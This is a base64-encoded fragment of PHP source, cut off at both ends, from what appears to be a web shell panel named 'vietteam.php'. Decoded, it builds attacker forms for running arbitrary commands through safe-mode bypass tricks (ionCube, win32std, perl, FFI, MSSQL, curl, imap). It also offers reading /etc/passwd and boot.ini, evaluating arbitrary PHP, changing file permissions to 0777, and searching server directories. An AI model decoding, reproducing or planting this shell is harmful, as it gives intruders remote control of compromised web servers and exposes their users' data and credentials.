LCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDgnXSkpOw0KZWNobyAkdGUuJzwvZGl2PicuJHRhYmxlX2VuZDEuJGZlOyAgDQp9DQoNCmlmKCRzYWZlX21vZGUpDQp7DQplY2hvICRmcy4kdGFibGVfdXAxLmRpdl90aXRsZSgkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MjI4J10sJ2lkMjI4JykuJHRhYmxlX3VwMi5kaXYoJ2lkMjI4JykuJHRzOw0KZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MyddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCd0ZXN0MTJfY21kJyw5NiwoIWVtcHR5KCRfUE9TVFsndGVzdDEyX2NtZCddKT8oJF9QT1NUWyd0ZXN0MTJfY21kJ10pOignbHMgLWxhJykpKS53cyg0KS5pbignaGlkZGVuJywnZGlyJywwLCRkaXIpLmluKCdoaWRkZW4nLCdjbWQnLDAsJ3Rlc3QxMicpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDgnXSkpOw0KZWNobyAkdGUuJzwvZGl2PicuJHRhYmxlX2VuZDEuJGZlOyAgDQp9DQoNCmlmKCRzYWZlX21vZGUmJiEkdW5peCkNCnsNCmVjaG8gJGZzLiR0YWJsZV91cDEuZGl2X3RpdGxlKCRsYW5nWyRsYW5ndWFnZS4nX3RleHQyMjknXSwnaWQyMjknKS4kdGFibGVfdXAyLmRpdignaWQyMjknKS4kdHM7DQplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQzJ10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ3Rlc3QxM19jbWQnLDk2LCghZW1wdHkoJF9QT1NUWyd0ZXN0MTNfY21kJ10pPygkX1BPU1RbJ3Rlc3QxM19jbWQnXSk6KCdkaXInKSkpLndzKDQpLmluKCdoaWRkZW4nLCdkaXInLDAsJGRpcikuaW4oJ2hpZGRlbicsJ2NtZCcsMCwndGVzdDEzJykuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0OCddKSk7DQplY2hvICR0ZS4nPC9kaXY+Jy4kdGFibGVfZW5kMS4kZmU7ICANCn0NCg0KaWYoJHNhZmVfbW9kZSYmZXh0ZW5zaW9uX2xvYWRlZCgiaW9uQ3ViZSBMb2FkZXIiKSkNCnsNCmVjaG8gJGZzLiR0YWJsZV91cDEuZGl2X3RpdGxlKCRsYW5nWyRsYW5ndWFnZS4nX3RleHQyMzAnXSwnaWQyMzAnKS4kdGFibGVfdXAyLmRpdignaWQyMzAnKS4kdHM7DQplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQzMCddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCd0ZXN0MTRfY21kJyw5NiwoIWVtcHR5KCRfUE9TVFsndGVzdDE0X2NtZCddKT8oJF9QT1NUWyd0ZXN0MTRfY21kJ10pOignLi4vLi4vYm9vdC5pbmknKSkpLndzKDQpLmluKCdoaWRkZW4nLCdkaXInLDAsJGRpcikuaW4oJ2hpZGRlbicsJ2NtZCcsMCwndGVzdDE0JykuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0OCddKSk7DQplY2hvICR0ZS4nPC9kaXY+Jy4kdGFibGVfZW5kMS4kZmU7ICANCn0NCg0KaWYoJHNhZmVfbW9kZSYmISR1bml4JiZleHRlbnNpb25fbG9hZGVkKCJ3aW4zMnN0ZCIpKQ0Kew0KZWNobyAkZnMuJHRhYmxlX3VwMS5kaXZfdGl0bGUoJGxhbmdbJGxhbmd1YWdlLidfdGV4dDIzMSddLCdpZDIzMScpLiR0YWJsZV91cDIuZGl2KCdpZDIzMScpLiR0czsNCmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDMnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywndGVzdDE1X2NtZCcsOTYsKCFlbXB0eSgkX1BPU1RbJ3Rlc3QxNV9jbWQnXSk/KCRfUE9TVFsndGVzdDE1X2NtZCddKTooJ2RpcicpKSkud3MoNCkuaW4oJ2hpZGRlbicsJ2RpcicsMCwkZGlyKS5pbignaGlkZGVuJywnY21kJywwLCd0ZXN0MTUnKS5pbignc3VibWl0Jywnc3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQ4J10pKTsNCmVjaG8gJHRlLic8L2Rpdj4nLiR0YWJsZV9lbmQxLiRmZTsgIA0KfQ0KDQppZigkc2FmZV9tb2RlJiYhJHVuaXgmJmV4dGVuc2lvbl9sb2FkZWQoIndpbjMyc2VydmljZSIpKQ0Kew0KZWNobyAkZnMuJHRhYmxlX3VwMS5kaXZfdGl0bGUoJGxhbmdbJGxhbmd1YWdlLidfdGV4dDIzMiddLCdpZDIzMicpLiR0YWJsZV91cDIuZGl2KCdpZDIzMicpLiR0czsNCmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDMnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywndGVzdDE2X2NtZCcsOTYsKCFlbXB0eSgkX1BPU1RbJ3Rlc3QxNl9jbWQnXSk/KCRfUE9TVFsndGVzdDE2X2NtZCddKTooJ2RpcicpKSkud3MoNCkuaW4oJ2hpZGRlbicsJ2RpcicsMCwkZGlyKS5pbignaGlkZGVuJywnY21kJywwLCd0ZXN0MTYnKS5pbignc3VibWl0Jywnc3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQ4J10pKTsNCmVjaG8gJHRlLic8L2Rpdj4nLiR0YWJsZV9lbmQxLiRmZTsgIA0KfQ0KDQppZigkc2FmZV9tb2RlJiZleHRlbnNpb25fbG9hZGVkKCJwZXJsIikpDQp7DQplY2hvICRmcy4kdGFibGVfdXAxLmRpdl90aXRsZSgkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTMxJ10sJ2lkMzQnKS4kdGFibGVfdXAyLmRpdignaWQyMzMnKS4kdHM7DQplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQzJ10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ3Rlc3QxN19jbWQnLDk2LCghZW1wdHkoJF9QT1NUWyd0ZXN0MTdfY21kJ10pPygkX1BPU1RbJ3Rlc3QxN19jbWQnXSk6KCdkaXInKSkpLndzKDQpLmluKCdoaWRkZW4nLCdkaXInLDAsJGRpcikuaW4oJ2hpZGRlbicsJ2NtZCcsMCwndGVzdDE3JykuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0OCddKSk7DQplY2hvICR0ZS4nPC9kaXY+Jy4kdGFibGVfZW5kMS4kZmU7ICANCn0NCg0KaWYoJHNhZmVfbW9kZSYmISR1bml4JiZleHRlbnNpb25fbG9hZGVkKCJmZmkiKSkNCnsNCmVjaG8gJGZzLiR0YWJsZV91cDEuZGl2X3RpdGxlKCRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMzInXSwnaWQzNScpLiR0YWJsZV91cDIuZGl2KCdpZDIzNCcpLiR0czsNCmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDMnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywndGVzdDE4X2NtZCcsOTYsKCFlbXB0eSgkX1BPU1RbJ3Rlc3QxOF9jbWQnXSk/KCRfUE9TVFsndGVzdDE4X2NtZCddKTooJ2RpcicpKSkud3MoNCkuaW4oJ2hpZGRlbicsJ2RpcicsMCwkZGlyKS5pbignaGlkZGVuJywnY21kJywwLCd0ZXN0MTgnKS5pbignc3VibWl0Jywnc3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQ4J10pKTsNCmVjaG8gJHRlLic8L2Rpdj4nLiR0YWJsZV9lbmQxLiRmZTsgIA0KfQ0KDQppZigkc2FmZV9tb2RlKQ0Kew0KZWNobyAkZnMuJHRhYmxlX3VwMS5kaXZfdGl0bGUoJGxhbmdbJGxhbmd1YWdlLidfdGV4dDIwNyddLCdpZDIwNycpLiR0YWJsZV91cDIuZGl2KCdpZDIwNycpLiR0czsNCmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDIwNiddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdnbG9iJyw4NSwnL2V0Yy8nKS5pbignaGlkZGVuJywnY21kJywwLCdnbG9iJykuaW4oJ2hpZGRlbicsJ2RpcicsMCwkZGlyKS53cyg0KS5pbignc3VibWl0Jywnc3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQ3J10pKTsNCmVjaG8gJHRlLic8L2Rpdj4nLiR0YWJsZV9lbmQxLiRmZTsNCmVjaG8gJGZzLiR0YWJsZV91cDEuZGl2X3RpdGxlKCRsYW5nWyRsYW5ndWFnZS4nX3RleHQyMDknXSwnaWQyMDknKS4kdGFibGVfdXAyLmRpdignaWQyMDknKS4kdHM7DQplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQyMDYnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0Jywncm9vdCcsODUsJy9ldGMvJykuaW4oJ2hpZGRlbicsJ2NtZCcsMCwncm9vdCcpLmluKCdoaWRkZW4nLCdkaXInLDAsJGRpcikud3MoNCkuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0NyddKSk7DQplY2hvICR0ZS4nPC9kaXY+Jy4kdGFibGVfZW5kMS4kZmU7DQoNCmVjaG8gJGZzLiR0YWJsZV91cDEuZGl2X3RpdGxlKCRsYW5nWyRsYW5ndWFnZS4nX3RleHQyMTAnXSwnaWQyMTAnKS4kdGFibGVfdXAyLmRpdignaWQyMTAnKS4kdHM7DQplY2hvICI8dGFibGUgY2xhc3M9dGFibGUxIHdpZHRoPTEwMCUgYWxpZ249Y2VudGVyPiI7DQplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQzMCddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCd6ZW5kJyw4NSwoIWVtcHR5KCRfUE9TVFsnemVuZCddKT8oJF9QT1NUWyd6ZW5kJ10pOigiL2V0Yy9wYXNzd2QiKSkpLmluKCdoaWRkZW4nLCdkaXInLDAsJGRpcikuaW4oJ2hpZGRlbicsJ2NtZCcsMCwnemVuZCcpLndzKDQpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDgnXSkpOw0KZWNobyAkdGUuJzwvZGl2PicuJHRhYmxlX2VuZDEuJGZlOw0KDQplY2hvICR0YWJsZV91cDEuZGl2X3RpdGxlKCRsYW5nWyRsYW5ndWFnZS4nX3RleHQyMTEnXSwnaWQyMTEnKS4kdGFibGVfdXAyLmRpdignaWQyMTEnKS4kdHMuIjx0cj4iLiRmcy4iPHRkIHZhbGlnbj10b3Agd2lkdGg9MzQlPiIuJHRzOw0KZWNobyAiPGZvbnQgZmFjZT10YWhvbWEgc2l6ZT0tMj48Yj48ZGl2IGFsaWduPWNlbnRlciBpZD0nbic+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MjEyJ10uIjwvZGl2PjwvYj48L2ZvbnQ+IjsNCmVjaG8gc3IoNDAsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDIwJ10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ3BocF9pbmkxJywxMCwncGhwLmluaScpLndzKDQpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDY1J10pKTsNCmVjaG8gIjxmb250IGZhY2U9dGFob21hIHNpemU9LTI+PGI+PGRpdiBhbGlnbj1jZW50ZXIgaWQ9J24nPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDIxMyddLiI8L2Rpdj48L2I+PC9mb250PiI7DQplY2hvIHNyKDQwLCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQyMCddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdodGFjY2VzJywxMCwnaHRhY2Nlc3MnKS53cyg0KS5pbignc3VibWl0Jywnc3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQ2NSddKSk7DQplY2hvICI8Zm9udCBmYWNlPXRhaG9tYSBzaXplPS0yPjxiPjxkaXYgYWxpZ249Y2VudGVyIGlkPSduJz4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQyMTgnXS4iPC9kaXY+PC9iPjwvZm9udD4iOw0KZWNobyBzcig0MCwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MjAnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywnZmlsZV9pbmknLDEwLCdpbmkucGhwJykud3MoNCkuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0NjUnXSkpOw0KZWNobyAkdGUuJzwvZGl2PicuJHRhYmxlX2VuZDEuJGZlOw0KDQokYWxpYXNlczIgPSAnJzsNCmZvcmVhY2ggKCRhbGlhc2VzIGFzICRhbGlhc19uYW1lPT4kYWxpYXNfY21kKQ0KIHsNCiAkYWxpYXNlczIgLj0gIjxvcHRpb24+JGFsaWFzX25hbWU8L29wdGlvbj4iOw0KIH0NCmVjaG8gJGZzLiR0YWJsZV91cDEuZGl2X3RpdGxlKCRsYW5nWyRsYW5ndWFnZS4nX3RleHQ3J10sJ2lkNicpLiR0YWJsZV91cDIuZGl2KCdpZDYnKS4kdHM7DQplY2hvIHNyKDE1LCI8Yj4iLndzKDkpLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ4J10uJGFycm93LndzKDQpLiI8L2I+IiwiPHNlbGVjdCBuYW1lPWFsaWFzPiIuJGFsaWFzZXMyLiI8L3NlbGVjdD4iLmluKCdoaWRkZW4nLCdkaXInLDAsJGRpcikud3MoNCkuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0MSddKSk7DQplY2hvICR0ZS4nPC9kaXY+Jy4kdGFibGVfZW5kMS4kZmU7DQoNCn0NCg0KaWYoJHNhZmVfbW9kZSl7DQplY2hvICRmcy4kdGFibGVfdXAxLmRpdl90aXRsZSgkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NTcnXSwnaWQ0JykuJHRhYmxlX3VwMi5kaXYoJ2lkNCcpLiR0czsNCmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDU4J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ21rX25hbWUnLDU0LCghZW1wdHkoJF9QT1NUWydta19uYW1lJ10pPygkX1BPU1RbJ21rX25hbWUnXSk6KCJuZXdfbmFtZSIpKSkud3MoNCkuIjxzZWxlY3QgbmFtZT1hY3Rpb24+PG9wdGlvbiB2YWx1ZT1jcmVhdGU+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NjUnXS4iPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT1kZWxldGU+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NjYnXS4iPC9vcHRpb24+PC9zZWxlY3Q+Ii53cygzKS4iPHNlbGVjdCBuYW1lPXdoYXQ+PG9wdGlvbiB2YWx1ZT1maWxlPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDU5J10uIjwvb3B0aW9uPjxvcHRpb24gdmFsdWU9ZGlyPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDYwJ10uIjwvb3B0aW9uPjwvc2VsZWN0PiIuaW4oJ2hpZGRlbicsJ2NtZCcsMCwnbWsnKS5pbignaGlkZGVuJywnZGlyJywwLCRkaXIpLndzKDQpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDEzJ10pKTsNCmVjaG8gJHRlLic8L2Rpdj4nLiR0YWJsZV9lbmQxLiRmZTsNCn0NCmlmKCRzYWZlX21vZGUgJiYgJHVuaXgpew0KZWNobyAkZnMuJHRhYmxlX3VwMS5kaXZfdGl0bGUoJGxhbmdbJGxhbmd1YWdlLidfdGV4dDY3J10sJ2lkNScpLiR0YWJsZV91cDIuZGl2KCdpZDUnKS4kdHM7DQplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ2OCddLiRhcnJvdy4iPC9iPiIsIjxzZWxlY3QgbmFtZT13aGF0PjxvcHRpb24gdmFsdWU9bW9kPkNITU9EPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT1vd24+Q0hPV048L29wdGlvbj48b3B0aW9uIHZhbHVlPWdycD5DSEdSUDwvb3B0aW9uPjwvc2VsZWN0PiIud3MoMikuIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDY5J10uJGFycm93LiI8L2I+Ii53cygyKS5pbigndGV4dCcsJ3BhcmFtMScsNDAsKCgkX1BPU1RbJ3BhcmFtMSddKT8oJF9QT1NUWydwYXJhbTEnXSk6KCJmaWxlbmFtZSIpKSkud3MoMikuIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDcwJ10uJGFycm93LiI8L2I+Ii53cygyKS5pbigndGV4dCcsJ3BhcmFtMiB0aXRsZT0iJy4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NzEnXS4nIicsMjYsKCgkX1BPU1RbJ3BhcmFtMiddKT8oJF9QT1NUWydwYXJhbTInXSk6KCIwNzc3IikpKS5pbignaGlkZGVuJywnY21kJywwLCdjaF8nKS5pbignaGlkZGVuJywnZGlyJywwLCRkaXIpLndzKDQpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDEnXSkpOw0KZWNobyAkdGUuJzwvZGl2PicuJHRhYmxlX2VuZDEuJGZlOw0KfQ0KDQplY2hvICRmcy4kdGFibGVfdXAxLmRpdl90aXRsZSgkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NTQnXSwnaWQ3JykuJHRhYmxlX3VwMi5kaXYoJ2lkNycpLiR0czsNCmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDUyJ10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ3NfdGV4dCcsODUsJ3RleHQnKS53cyg0KS5pbignc3VibWl0Jywnc3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQxMiddKSk7DQplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ1MyddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdzX2RpcicsODUsJGRpcikuIiAqICggL3Jvb3Q7L2hvbWU7L3RtcCApIik7DQplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ1NSddLiRhcnJvdy4iPC9iPiIsaW4oJ2NoZWNrYm94JywnbSBpZD1tJywwLCcxJykuaW4oJ3RleHQnLCdzX21hc2snLDgyLCcudHh0Oy5waHAnKS4iKiAoIC50eHQ7LnBocDsuaHRtICkiLmluKCdoaWRkZW4nLCdjbWQnLDAsJ3NlYXJjaF90ZXh0JykuaW4oJ2hpZGRlbicsJ2RpcicsMCwkZGlyKSk7DQplY2hvICR0ZS4nPC9kaXY+Jy4kdGFibGVfZW5kMS4kZmU7DQppZighJHNhZmVfbW9kZSAmJiAkdW5peCl7DQplY2hvICRmcy4kdGFibGVfdXAxLmRpdl90aXRsZSgkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NzYnXSwnaWQ4JykuJHRhYmxlX3VwMi5kaXYoJ2lkOCcpLiR0czsNCmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDcyJ10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ3NfdGV4dCcsODUsJ3RleHQnKS53cyg0KS5pbignc3VibWl0Jywnc3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQxMiddKSk7DQplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ3MyddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdzX2RpcicsODUsJGRpcikuIiAqICggL3Jvb3Q7L2hvbWU7L3RtcCApIik7DQplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ3NCddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdzX21hc2snLDg1LCcqLltoY10nKS53cygxKS4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NzUnXS5pbignaGlkZGVuJywnY21kJywwLCdmaW5kX3RleHQnKS5pbignaGlkZGVuJywnZGlyJywwLCRkaXIpKTsNCmVjaG8gJHRlLic8L2Rpdj4nLiR0YWJsZV9lbmQxLiRmZTsNCn0NCmVjaG8gJGZzLiR0YWJsZV91cDEuZGl2X3RpdGxlKCRsYW5nWyRsYW5ndWFnZS4nX3RleHQzMiddLCdpZDknKS4kdGFibGVfdXAyLiRmb250Ow0KZWNobyAiPGRpdiBhbGlnbj1jZW50ZXI+Ii5kaXYoJ2lkOScpLiI8dGV4dGFyZWEgbmFtZT1waHBfZXZhbCBjb2xzPTEwMCByb3dzPTM+IjsNCmVjaG8gKCFlbXB0eSgkX1BPU1RbJ3BocF9ldmFsJ10pPygkX1BPU1RbJ3BocF9ldmFsJ10pOigiLyogZGVsZXRlIHNjcmlwdCAqL1xyXG4vL3VubGluayhcInZpZXR0ZWFtLnBocFwiKTtcclxuLy9yZWFkZmlsZShcIi9ldGMvcGFzc3dkXCIpOyIpKTsNCmVjaG8gIjwvdGV4dGFyZWE+IjsNCmVjaG8gaW4oJ2hpZGRlbicsJ2RpcicsMCwkZGlyKS5pbignaGlkZGVuJywnY21kJywwLCdwaHBfZXZhbCcpOw0KZWNobyAiPGJyPiIud3MoMSkuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0MSddKTsNCmVjaG8gIjwvZGl2PjwvZGl2PjwvZm9udD4iOw0KZWNobyAkdGFibGVfZW5kMS4kZmU7DQppZigkc2FmZV9tb2RlJiYkY3VybF9vbikNCnsNCmVjaG8gJGZzLiR0YWJsZV91cDEuZGl2X3RpdGxlKCRsYW5nWyRsYW5ndWFnZS4nX3RleHQzMyddLCdpZDEwJykuJHRhYmxlX3VwMi5kaXYoJ2lkMTAnKS4kdHM7DQplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQzMCddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCd0ZXN0MV9maWxlJyw4NSwoIWVtcHR5KCRfUE9TVFsndGVzdDFfZmlsZSddKT8oJF9QT1NUWyd0ZXN0MV9maWxlJ10pOigiL2V0Yy9wYXNzd2QiKSkpLmluKCdoaWRkZW4nLCdkaXInLDAsJGRpcikuaW4oJ2hpZGRlbicsJ2NtZCcsMCwndGVzdDEnKS53cyg0KS5pbignc3VibWl0Jywnc3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQ4J10pKTsNCmVjaG8gJHRlLic8L2Rpdj4nLiR0YWJsZV9lbmQxLiRmZTsNCn0NCmlmKCRzYWZlX21vZGUpDQp7DQplY2hvICRmcy4kdGFibGVfdXAxLmRpdl90aXRsZSgkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MzQnXSwnaWQxMScpLiR0YWJsZV91cDIuZGl2KCdpZDExJykuJHRzOw0KZWNobyAiPHRhYmxlIGNsYXNzPXRhYmxlMSB3aWR0aD0xMDAlIGFsaWduPWNlbnRlcj4iOw0KZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MzAnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywndGVzdDJfZmlsZScsODUsKCFlbXB0eSgkX1BPU1RbJ3Rlc3QyX2ZpbGUnXSk/KCRfUE9TVFsndGVzdDJfZmlsZSddKTooIi9ldGMvcGFzc3dkIikpKS5pbignaGlkZGVuJywnZGlyJywwLCRkaXIpLmluKCdoaWRkZW4nLCdjbWQnLDAsJ3Rlc3QyJykud3MoNCkuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0OCddKSk7DQplY2hvICR0ZS4nPC9kaXY+Jy4kdGFibGVfZW5kMS4kZmU7DQp9DQoNCg0KaWYoJHNhZmVfbW9kZSYmJG1zc3FsX29uKQ0Kew0KZWNobyAkZnMuJHRhYmxlX3VwMS5kaXZfdGl0bGUoJGxhbmdbJGxhbmd1YWdlLidfdGV4dDg1J10sJ2lkMTMnKS4kdGFibGVfdXAyLmRpdignaWQxMycpLiR0czsNCmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDM2J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ3Rlc3Q0X21kJywxNSwoIWVtcHR5KCRfUE9TVFsndGVzdDRfbWQnXSk/KCRfUE9TVFsndGVzdDRfbWQnXSk6KCJtYXN0ZXIiKSkpLndzKDQpLiI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQzNyddLiRhcnJvdy4iPC9iPiIuaW4oJ3RleHQnLCd0ZXN0NF9tbCcsMTUsKCFlbXB0eSgkX1BPU1RbJ3Rlc3Q0X21sJ10pPygkX1BPU1RbJ3Rlc3Q0X21sJ10pOigic2EiKSkpLndzKDQpLiI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQzOCddLiRhcnJvdy4iPC9iPiIuaW4oJ3RleHQnLCd0ZXN0NF9tcCcsMTUsKCFlbXB0eSgkX1BPU1RbJ3Rlc3Q0X21wJ10pPygkX1BPU1RbJ3Rlc3Q0X21wJ10pOigicGFzc3dvcmQiKSkpLndzKDQpLiI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxNCddLiRhcnJvdy4iPC9iPiIuaW4oJ3RleHQnLCd0ZXN0NF9wb3J0JywxNSwoIWVtcHR5KCRfUE9TVFsndGVzdDRfcG9ydCddKT8oJF9QT1NUWyd0ZXN0NF9wb3J0J10pOigiMTQzMyIpKSkpOw0KZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MyddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCd0ZXN0NF9maWxlJyw5NiwoIWVtcHR5KCRfUE9TVFsndGVzdDRfZmlsZSddKT8oJF9QT1NUWyd0ZXN0NF9maWxlJ10pOigiZGlyIikpKS5pbignaGlkZGVuJywnZGlyJywwLCRkaXIpLmluKCdoaWRkZW4nLCdjbWQnLDAsJ3Rlc3Q0Jykud3MoNCkuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0OCddKSk7DQplY2hvICR0ZS4nPC9kaXY+Jy4kdGFibGVfZW5kMS4kZmU7DQp9DQppZigkc2FmZV9tb2RlJiYkdW5peCYmZnVuY3Rpb25fZXhpc3RzKCdtYl9zZW5kX21haWwnKSl7DQplY2hvICRmcy4kdGFibGVfdXAxLmRpdl90aXRsZSgkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTEyJ10sJ2lkMjInKS4kdGFibGVfdXAyLmRpdignaWQyMicpLiR0czsNCmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDMwJ10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ3Rlc3Q1X2ZpbGUnLDk2LCghZW1wdHkoJF9QT1NUWyd0ZXN0NV9maWxlJ10pPygkX1BPU1RbJ3Rlc3Q1X2ZpbGUnXSk6KCIvZXRjL3Bhc3N3ZCIpKSkuaW4oJ2hpZGRlbicsJ2RpcicsMCwkZGlyKS5pbignaGlkZGVuJywnY21kJywwLCd0ZXN0NScpLndzKDQpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDgnXSkpOw0KZWNobyAkdGUuJzwvZGl2PicuJHRhYmxlX2VuZDEuJGZlOw0KfQ0KaWYoJHNhZmVfbW9kZSYmZnVuY3Rpb25fZXhpc3RzKCdpbWFwX2xpc3QnKSl7DQplY2hvICRmcy4kdGFibGVfdXAxLmRpdl90aXRsZSgkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTEzJ10sJ2lkMjMnKS4kdGFibGVfdXAyLmRpdignaWQyMycpLiR0czsNCmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDQnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywndGVzdDZfZmlsZScsOTYsKCFlbXB0eSgkX1BPU1RbJ3Rlc3Q2X2ZpbGUnXSk/KCRfUE9TVFsndGVzdDZfZmlsZSddKTooJGRpcikpKS5pbignaGlkZGVuJywnZGlyJywwLCRkaXIpLm